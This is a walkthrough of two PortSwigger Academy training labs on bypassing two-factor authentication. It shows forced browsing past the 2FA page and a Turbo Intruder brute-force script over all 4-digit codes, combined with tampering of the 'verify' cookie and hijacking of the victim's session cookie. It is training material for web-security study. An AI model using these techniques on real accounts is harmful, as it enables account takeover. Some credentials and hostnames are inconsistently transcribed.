

# Lab 4: Authentication Vulnerabilities (multi-factor authentication)

## Challenge 1: 2FA simple bypass

### Part 1: Description and Objective

- **Objective:** The goal of this lab is to bypass the Two-Factor Authentication (2FA) mechanism and access the account of the victim user, **carlos**.
- **Vulnerability:** The application likely suffers from a forced browsing vulnerability. It may not strictly enforce the 2FA check before allowing access to authenticated pages (like the "My Account" page).
- Credentials:
  - Your credentials: wiener / peter
  - Victim credentials: carlos / montoza

### Part 2: Solution Overview

1. Log in to your own account. Your 2FA verification code will be sent to you by email. Click the **Email client** button to access your emails.
2. Go to your account page and make a note of the URL.
3. Log out of your account.
4. Log in using the victim's credentials.
5. When prompted for the verification code, manually change the URL to navigate to `/my-` **account**. The lab is solved when the page loads.

### Part 3: Step-by-Step Implementation

#### Step 1: Access the Lab

- **Action:** Navigate to the lab "2FA simple bypass" on PortSwigger Academy.
- **Execution:** Click the "**ACCESS THE LAB**" button to start the instance.

← → ⌛ 0a9800cc03e293868688d0b9001c0046.web-security-academy.net

**WebSecurity Academy** 2FA simple bypass

Email client Back to lab description >

LAB Not solved 🚧

---

Home | My account

WE LIKE TO BLOG



Finding Inspiration

## Step 2: Analyze the Login Flow (Using Own Account)

- **Action:** Log in with the provided valid credentials (wiener / peter) to observe the URL structure after a successful 2FA verification.
- Execution:
  1. Click the "**My account**" link in the top right corner.
  2. Enter the username **wiener** and password **peter**, then click "**Log in**".
  3. When prompted for the 4-digit security code, click the "**Email client**" button (located in the top lab banner) to open the email simulation in a new tab.

---

**WebSecurity Academy** 2FA simple bypass

Back to lab home Email client Back to lab description >

---

Please enter your 4-digit security code

**Login**

4. Copy the 4-digit code from the email body.

**WebSecurity Academy** | 2FA simple bypass

[Back to exploit server](#) [Back to lab](#) [Back to lab description >](#)

LAB Not solved 

Your email address is [wiener@exploit-0a0f00c703d1476480322ae401d7004d.exploit-server.net](mailto:wiener@exploit-0a0f00c703d1476480322ae401d7004d.exploit-server.net)

Displaying all emails @[exploit-0a0f00c703d1476480322ae401d7004d.exploit-server.net](mailto:exploit-0a0f00c703d1476480322ae401d7004d.exploit-server.net) and all subdomains

Sent	To	From	Subject	Body
2026-01-05 13:35:44 +0000	wiener@exploit-0a0f00c703d1476480322ae401d7004d.exploit-server.net	no-reply@0a65002d03d5475480d62b1300e300ff.web-security-academy.net	Security code	<p>Hello!</p> <p>Your security code is <b>1286</b>.</p> <p>Please enter this in the app to continue.</p> <p>Thanks, Support team</p>

5. Return to the login page, enter the code, and click "**Log in**".
6. Observation: Upon successful login, observe the URL in the browser's address bar. It should be /my-account. This confirms the target URL we need to access.

**WebSecurity Academy** | 2FA simple bypass

[Email client](#) [Back to lab description >](#)

LAB Not solved 

[Home](#) | [My account](#) | [Log out](#)

## My Account

Your username is: wiener

Your email is: [wiener@exploit-0a0f00c703d1476480322ae401d7004d.exploit-server.net](mailto:wiener@exploit-0a0f00c703d1476480322ae401d7004d.exploit-server.net)

Email

[Update email](#)

## Step 3: Bypass 2FA on Victim's Account

- **Action:** Exploit the forced browsing vulnerability to access the victim's account without the 2FA code.
- Execution:
  1. Log out of the wiener account.

2. Go to the login page and enter the victim's credentials:
  - a. Username: **carlos**
  - b. Password: **Montoya**
3. Click "**Log in**". You will be redirected to the 2FA verification page (`/login2`).
4. **Bypass:** Instead of entering a code (which you do not have), manually change the URL in the browser's address bar from `/login2` to `/my-account`.
5. Press **Enter**.

The screenshot shows a web browser window for the 'Web Security Academy' platform. At the top, the URL is 0a65002d03d5475480d62b1300e300ff.web-security-academy.net/my-account. The page title is '2FA simple bypass'. Below the title, there is a 'Back to lab description' link. On the right, there is a green button labeled 'LAB Solved' with a trophy icon. A banner at the bottom of the page says 'Congratulations, you solved the lab!' with links to 'Share your skills!', social media icons for Twitter and LinkedIn, and 'Continue learning >'. At the very bottom, there are links for 'Home | My account | Log out'.

## Challenge 2: 2FA broken logic

### Part 1: Description and Objective

- **Objective:** Access the account of the victim user, **carlos**, who has 2FA enabled.
- **Vulnerability:** The application's 2FA logic is flawed. While the login page might have rate limiting, the 2FA verification page often lacks it. Additionally, the mechanism for verifying the code relies on a predictable or manipulatable session identifier (like a cookie) that determines *which* user is being verified.
- Credentials:
  - Your credentials: wiener / peter
  - Victim credentials: carlos / Montoya

### Part 2: Solution Overview

The strategy involves a brute-force attack on the 2FA code, made possible by a logic flaw:

- With Burp running, log in to your own account and investigate the 2FA verification process. Notice that in the POST /login2 request, the verify parameter is used to determine which user's account is being accessed.
- Log out of your account.
- Send the GET /login2 request to Burp Repeater. Change the value of the verify parameter to carlos and send the request. This ensures that a temporary 2FA code is generated for Carlos.
- Go to the login page and enter your username and password. Then, submit an invalid 2FA code.
- Send the POST /login2 request to Burp Intruder.
- In Burp Intruder, set the verify parameter to carlos and add a payload position to the mfa-code parameter. Brute-force the verification code.
- Load the 302 response in the browser.
- Click **My account** to solve the lab.

## Part 3: Step-by-Step Implementation

### Step 1: Access the Lab

- Action:** Navigate to the lab "2FA broken logic" on PortSwigger Academy.
- Execution:** Click "**ACCESS THE LAB**" to start the instance.

The screenshot shows the '2FA broken logic' lab on PortSwigger Academy. The URL in the address bar is '0a2a0082034053998402d29300e2007c.web-security-academy.net'. The page title is '2FA broken logic'. The 'Web Security Academy' logo is at the top left, with a red 'LAB' badge and 'Not solved' status. At the top right, there are 'Home' and 'My account' links. Below the header is a banner with the text 'WE LIKE TO BLOG' and a photo of people at a festival. A post titled 'Festivals' is visible at the bottom.

**Festivals**  
Reminiscing about festivals is a lot like reminiscing about university. In your head there's those wild party nights, meeting cool new people and the great experience of being away from home. Very similar to the buzz about going to a...  
[View post](#)

## Step 2: Analyze the 2FA Request (Using Own Account)

- **Action:** Capture a valid 2FA verification request to understand the parameters.
- Execution:
  1. Log in as **wiener / peter**.
  2. When prompted for the code, check the **Email client**, get the code, and enter it
  3. **Important:** Before clicking "Log in" (or immediately after), check **Burp Suite HTTP History**.

The screenshot shows a browser window with two tabs: '2FA broken logic' and 'Exploit Server: 2FA broken logic'. The main content of the browser shows a 'WebSecurity Academy' page titled '2FA broken logic'. It has a green 'LAB' button and a red 'Email client' button. Below the buttons, it says 'Not solved'. The URL in the address bar is <https://0a2a0082034053998402d29300e2007c.web-security-academy.net/>. Below the URL, there's a link 'Back to lab description >'. The page content includes a 'My Account' section with fields for 'Email' (containing 'wiener') and 'Update email' button. To the right of the browser is a 'Burp Suite Community Edition v2025.11.6 - Temporary Project' interface. The 'HTTP history' tab is selected, showing a list of captured requests. The table has columns: Host, Method, URL, Params, Edited, Status code, Length, MIME type, Extension, and Title. The requests are numbered from 1 to 43. Most requests are from 'ZFA broker' and have status codes like 200, 302, or 401. Requests 35 and 37 have status codes 4432 and 3512 respectively, labeled 'Exploit Sen'. Request 37 is a POST to '/login2' with parameters including 'my-accountId=wiener'.

Host	Method	URL	Params	Edited	Status code	Length	MIME type	Extension	Title
1	GET	/			200	8651	HTML		ZFA broker
18	GET	/academyLabHeader			101	147			
20	GET	/my-account			302	86			
21	GET	/login			200	3275	HTML		ZFA broker
23	GET	/academyLabHeader			101	147			
24	POST	/login			302	211			
25	GET	/login2			200	3120	HTML		ZFA broker
26	GET	/academyLabHeader			101	147			
27	GET	/email			200	4432	HTML		Exploit Sen
35	GET	/academyLabHeader			101	147			
36	POST	/login2			302	188			
37	GET	/my-accountId=wiener			200	3512	HTML		ZFA broker
43	GET	/academyLabHeader			101	147			

4. Find the POST /login2 request (the one sending the mfa-code).
5. **Observation: Inspect the Cookie header. It contains a parameter verify=wiener.**
6. **Conclusion:** The application uses this cookie to determine which user's 2FA code is being verified. If we can generate a 2FA session for Carlos and manipulate this cookie (or just use Carlos's cookie), we can brute-force the code.

The screenshot shows the Burp Suite interface. At the top, the 'HTTP history' tab is active, displaying three requests:

Index	Request URL	Method	Path	Status
36	https://0a2a0082034053998...	POST	/login2	✓
37	https://0a2a0082034053998...	GET	/my-account?id=wiener	✓
43	https://0a2a0082034053998...	GET	/academyLabHeader	

Below the history, the 'Repeater' tab is selected. It has tabs for 'Request' and 'Response'. Under 'Request', there are three options: 'Pretty', 'Raw', and 'Hex'. The 'Pretty' tab is selected, showing the following request details:

```
1 POST /login2 HTTP/2
2 Host: 0a2a0082034053998402d29300e2007c.web-security-academy.net
3 Cookie: verify=wiener; session=8AfDKaETK1A7cF2s0Be5a4qlJrvhc2Yw
4 Content-Length: 13
```

### Step 3: Trigger 2FA Code Generation for Carlos

- **Action:** Use Burp Repeater to manipulate the verification cookie and force the server to generate a 2FA code for the victim (carlos).
- Execution:
  1. Log in as **wiener** / **peter**. The 2FA page loads.
  2. In **Burp Suite > Proxy > HTTP history**, locate the GET /login2 request (the request that loads the 2FA page).
  3. Right-click this request -> **Send to Repeater**.
  4. In the **Repeater** tab:
    - a. Locate the request header: **Cookie: verify=wiener...**
    - b. Change it to: **Cookie: verify=carlos...**
  5. Click **Send**.
  6. **Observation:** The response should be **200 OK**. This action triggers the server to generate a new 4-digit code for carlos (internally).

**Request**

```

1 GET /login2 HTTP/2
2 Host: 0a2a0082034053998402d29300e2007c.web-security-academy.net
3 Cookie: verify=carlos; session=8AfDKaETK1A7cF2s0Be5a4qlJkvhc2YW
4 Cache-Control: max-age=0
5 Accept-Language: en-US,en;q=0.9
6 Upgrade-Insecure-Requests: 1
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0
  Safari/537.36
8 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

```

**Response**

```

1 HTTP/2 200 OK
2 Content-Type: text/html; charset=utf-8
3 Set-Cookie: session=RsEo6JsCJpGRy7RRLIfVrr9eca9bBjVE; Secure;
  HttpOnly; SameSite=None
4 X-Frame-Options: SAMEORIGIN
5 Content-Length: 3012
6
7 <!DOCTYPE html>
8 <html>
9   <head>
10    <link href="/resources/labheader/css/academyLabHeader.css"
        rel="stylesheet">
11    <link href="/resources/css/labs.css rel="stylesheet">
12   <title>
13     2FA broken logic
14   </title>
15   </head>
16   <body>
17     <script src="/resources/labheader/js/labHeader.js">
18     </script>
19     <div id="academyLabHeader">
20       <section class='academyLabBanner'>
21         <div class=container>

```

## Step 4: Launch Attack and Identify the 2FA Code

- **Action:** Execute the brute-force attack and identify the valid 2FA code based on the HTTP status code.
- Execution:

1. Initiate the attack (using Turbo Intruder or Burp Intruder).

S Burp Project Intruder Repeater View Help Turbo Intruder

Burp Suite Community Edition v2025.11.6 - Temporary Project

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn

Intercept HTTP history WebSockets history Match and replace Proxy settings

Filter settings: Hiding CSS and image content; hiding specific extensions

#	Host	Method	URL	Params	Edited	Status code	Length	MIME type	Extension	Title	Notes	TLS	IP	Cookies	Time	Listener port	Start response...
1	https://0xa0082034053998402d...	GET	/			200	8564	HTML		2FA broken logic	✓	79.125.84.16			23:18:03 5 Jan.. 8000	232	
18	https://0xa0082034053998402d...	GET	/academy/labHeader			101	147				✓	79.125.84.16			23:18:05 5 Jan.. 8000	255	
19	https://0xa0082034053998402d...	GET	/my-account			302	86				✓	79.125.84.16			23:18:15 5 Jan.. 8000	225	
23	https://0xa0082034053998402d...	GET	/login			200	3275	HTML		2FA broken logic	✓	79.125.84.16			23:18:13 5 Jan.. 8000	229	
25	https://0xa0082034053998402d...	POST	/academy/labHeader			200	15				✓	79.125.84.16			23:18:22 5 Jan.. 8000	232	
26	https://0xa0082034053998402d...	POST	/my-account			200	211				✓	79.125.84.16	verify=wiener; sessu...		23:18:23 5 Jan.. 8000	258	
27	https://0xa0082034053998402d...	GET	/login2			200	3120	HTML		2FA broken logic	✓	79.125.84.16			23:18:23 5 Jan.. 8000	228	
28	https://0xa0082034053998402d...	GET	/academy/labHeader			101	147				✓	79.125.84.16			23:18:23 5 Jan.. 8000	261	
29	https://0xa0082034053998402d...	POST	/login2							2FA broken logic	✓	79.125.84.16			23:18:27 5 Jan.. 8000	224	
30	https://0xa0082034053998402d...	GET	/academy/labHeader								✓	79.125.84.16			23:18:27 5 Jan.. 8000	235	

Request

Pretty Raw Hex

```

1 POST /login2 HTTP/2
2 Host: 0xa0082034053998402d29300e2007c.web-security-academy.net
3 Cookie: verify=carlos; session=nkoxlli5UL2VDWh6pBqV8X77IubVPfah
4 Content-Length: 13
5 Cache-Control: max-age=0
6 Sec-Ch-Ua: "Chromium";v="143", "Not A(Brand";v="24"
7 Sec-Ch-Ua-Mobile: ?0
8 Sec-Ch-Ua-Platform: "Windows"
9 Accept-Language: en-US,en;q=0.9
10 Origin: https://0xa0082034053998402d29300e2007c.web-security-academy.net
11 Content-Type: application/x-www-form-urlencoded
12 Upgrade-Insecure-Requests: 1
13 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
14 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
15 Sec-Fetch-Site: same-origin
16 Sec-Fetch-Mode: navigate
17 Sec-Fetch-User: ?1
18 Sec-Fetch-Dest: document
19 Referer: https://0xa0082034053998402d29300e2007c.web-security-academy.net/login2
20 Accept-Encoding: gzip, deflate, br
21 Priority: u=0, i
22
23 mfa-code=0000

```

Send to Intrude Ctrl + I

Send to Repeater Ctrl + R

Send to Sequencer Ctrl + O

Send to Organizer (request)

Send to Composer (response)

Open response in browser

Request in browser >

Extensions > Turbo intruder > Send to turbo intruder > Bulk Turbo

Engagement tools [Pro version only]

Show new history window

Add notes

Highlight > s/labheader/s/labHeader.js/">

Delete item > s/labHeader.js/">

Clear history > s/labHeader.js/">

Copy URL > s/labHeader.js/">

Copy as curl command (bash) > s/labHeader.js/">

Copy links in response > s/labHeader.js/">

Save item > s/labHeader.js/">

Proxy history documentation > s/labHeader.js/">

Event log All issues

Memory: 172.7MB of 15.86GB Disabled

Turbo Intruder - 0xa0082034053998402d29300e2007c.web-security-academy.net

Pretty Raw Hex

```

1 POST /login2 HTTP/2
2 Host: 0xa0082034053998402d29300e2007c.web-security-academy.net
3 Cookie: verify=carlos; session=nkoxlli5UL2VDWh6pBqV8X77IubVPfah
4 Content-Length: 13
5 Cache-Control: max-age=0
6 Sec-Ch-Ua: "Chromium";v="143", "Not A(Brand";v="24"
7 Sec-Ch-Ua-Mobile: ?0
8 Sec-Ch-Ua-Platform: "Windows"
9 Accept-Language: en-US,en;q=0.9
10 Origin: https://0xa0082034053998402d29300e2007c.web-security-academy.net
11 Content-Type: application/x-www-form-urlencoded
12 Upgrade-Insecure-Requests: 1
13 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
14 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
15 Sec-Fetch-Site: same-origin
16 Sec-Fetch-Mode: navigate
17 Sec-Fetch-User: ?1
18 Sec-Fetch-Dest: document
19 Referer: https://0xa0082034053998402d29300e2007c.web-security-academy.net/login2
20 Accept-Encoding: gzip, deflate, br
21 Priority: u=0, i
22
23 mfa-code=1s

```

Host: 0xa0082034053998402d9; Port: 443 Protocol: https Last code used Choose scripts dir Save

```

1 def queueRequests(target, wordlists):
2     engine = RequestEngine(endpoint=target.endpoint,
3                             concurrentConnections=30,
4                             requestsPerConnection=100,
5                             pipeline=False
6                             )
7
8     for i in range(10000):
9         payload = "%04d" % i
10        engine.queue([target.req, payload])
11
12 def handleResponse(req, interesting):
13     if req.status == 302:
14         table.add(req)

```

2

3

2. Analysis: Monitor the results table for any request returning a **302 Found** status code.

3. Observation: The payload **0847** triggered a **302 Found** response.

4. Critical Action: Inspect the Response headers of this successful request. Locate and copy the value of the new session cookie (e.g., BKyhHL...).

5. Conclusion: The server has accepted the code 0847 and issued a valid session cookie for Carlos.

The screenshot shows the Turbo Intruder interface with two main sections: a summary table and detailed request/response logs.

**Summary Table:**

Row	Payload	Status	Anomaly r...	Words	Length	Time	Arrival	Label	Queue ID	Connection...
0	0847	302	0	50	233	229823	44170567		848	785

**Detailed Request Log (Left):**

```
1 POST /login2 HTTP/1.1
2 Host: 0a2a0082034053998402d29300e2007c.web-security-academy.net
3 Cookie: verify=carlos; session=BKyhHlMnsevnyPf50EDCzvtouzULhAR
4 Content-Length: 13
5 Cache-Control: max-age=0
6 Sec-Ch-Ua: "Chromium";v="143", "Not A(Brand");v="24"
7 Sec-Ch-Ua-Mobile: ?0
8 Sec-Ch-Ua-Platform: "Windows"
9 Accept-Language: en-US,en;q=0.9
0 Origin: https://0a2a0082034053998402d29300e2007c.web-security-academy.net
1 Content-Type: application/x-www-form-urlencoded
2 Upgrade-Insecure-Requests: 1
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
4 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 Sec-Fetch-Site: same-origin
6 Sec-Fetch-Mode: navigate
7 Sec-Fetch-User: ?1
8 Sec-Fetch-Dest: document
9 Referer: https://0a2a0082034053998402d29300e2007c.web-security-academy.net/login2
10 Accept-Encoding: gzip, deflate, br
11 Priority: u=0, i
12
13 mfa-code=0847
```

**Detailed Response Log (Right):**

```
1 HTTP/1.1 302 Found
2 Location: /my-account?ide=carlos
3 Set-Cookie: session=BKyhHlMnsevnyPf50EDCzvtouzULhAR; Secure; HttpOnly; SameSite=None
4 X-Frame-Options: SAMEORIGIN
5 X-Content-Encoding: gzip
6 Connection: close
7 Content-Length: 0
8
9
```

## Step 5: Session Hijacking (Final Verification)

- Action:** Manually inject the captured session cookie into the browser to bypass the login prompt and access the victim's account.
- Reasoning:** The 2FA code is only valid for the specific session used by the attack tool. To access the account in the browser, we must "hijack" the valid session by replacing the browser's cookie.
- Execution:**
  - Open the browser's **Developer Tools (F12)** and navigate to the **Application > Cookies** tab.
  - Locate the **session** cookie.
  - Modification:** Replace its value with the authenticated session string copied from Step 5.
  - Update the verify cookie to carlos.

5. Reload the page or navigate to /my-account.
6. **Result:** The application authenticates the request using the hijacked cookie, granting access to Carlos's account. The lab status updates to "**Solved**".

The screenshot shows the Chrome DevTools interface with the Application tab selected. The left sidebar lists storage types: Application (Manifest, Service workers, Storage), Storage (Local storage, Session storage, Extension storage, IndexedDB, Cookies), and Cache storage. The Cookies section for the domain https://0a2a008203405398402d29300e2007c.web-security-academy.net shows two cookies: 'session' with value '8KyHfHMrsenv1yPISORDCvtouxULAR' and 'verify' with value 'carlos'. The main panel displays the 'My Account' page from the lab, which says 'Congratulations, you solved the lab!' and shows the user's credentials: username 'carlos' and email 'carlos@carlos-montoya.net'. A green 'Solved' badge is visible at the top right of the page. The DevTools header shows the lab title '2FA broken logic' and the URL 'https://0a2a008203405398402d29300e2007c.web-security-academy.net/my-account'.